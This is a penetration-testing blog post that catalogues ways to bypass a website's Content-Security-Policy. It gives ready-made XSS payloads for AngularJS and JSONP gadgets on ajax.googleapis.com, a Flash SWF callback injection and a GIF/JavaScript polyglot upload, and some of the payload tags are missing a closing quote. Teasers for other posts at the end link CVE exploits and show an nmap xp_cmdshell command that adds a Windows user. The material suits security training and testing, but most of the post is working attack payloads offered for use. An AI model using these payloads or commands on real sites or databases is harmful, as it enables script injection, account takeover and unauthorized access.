Skip to main content

Bypassing Content-Security-Policy


- CSP can be implemented via 
	- Response header
	- Meta tag 
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> 

Bypass CSP via ajax.googleapis.com
  • via Flash file
  • via Polyglot file
  • via AngularJS
Bypass CSP via ajax.googleapis.com 

Check `Content-Security-Policy: script-src 'self' ajax.googleapis.com`
	- here script-src 'self'   ajax.googleapis.com means -> it allows only the same domains scripts +  ajax.googleapis.com scripts

<div ng-app ng-csp id=p ng-click=$event.view.alert("XSS")><script src="//ajax.googleapis.com/ajax/libs/angular/1.6.6/angular.min.js></script> <script async src=//ajax.googleapis.com/jsapi?callback=p.click></script>
Bypass CSP via Flash File

Works if the CSP is `Content-Security-Policy: script-src 'self'`; when the only restriction is script- we can bypass it using Flash File

<object type='application/x-shockwave-flash' data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\%22})))}catch(e) {alert(/XSS/)}//'><param name='AllowScriptAccess' Value='always'></object>
Bypassing CSP via GIF file 

Works if the CSP is  `Content-Security-Policy: default-src 'self'`;  - Which means all the files should be located in the same domain as the host
	- Upload a gif to the target if it has a file upload feature
	- Gif file should have a javascript inside it ; make GIF89a as a variable 
		- GIF89a= 'some GIF data'; alert(document.domain);/*

<script src=GIF_FILE_PATH> </script>
Bypassing CSP via AngularJS

Works if the CSP is `Content-Security-Policy: default-src 'self';  img-src images.local` - Which means all the accept images only from images.local (kind of like a sandbox domain)

This works only if the required libraries are hosted on the target - images.local in this case.


#AngularJS + callback
<div ng-app ng-csp id=p ng-click=$event.view.alert("XSS")><script src="angular-1.6.6.min.js></script> <script async src='/rfd/api/shop/product/id/1?format=json&callback=p.click'></script>

#Angular
<script src="angular-1.6.6.min.js></script><div ng-app ng-csp id=p ng-mouseover=$event.view.alert("XSS")><br/>(Move your mouse over this element)<br/></div>
More at https://github.com/bhaveshk90/Content-Security-Policy-CSP-Bypass-Techniques  



Comments

Popular posts from this blog

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...

Cloud Pentest Cheatsheet - Azure

Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.   Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure...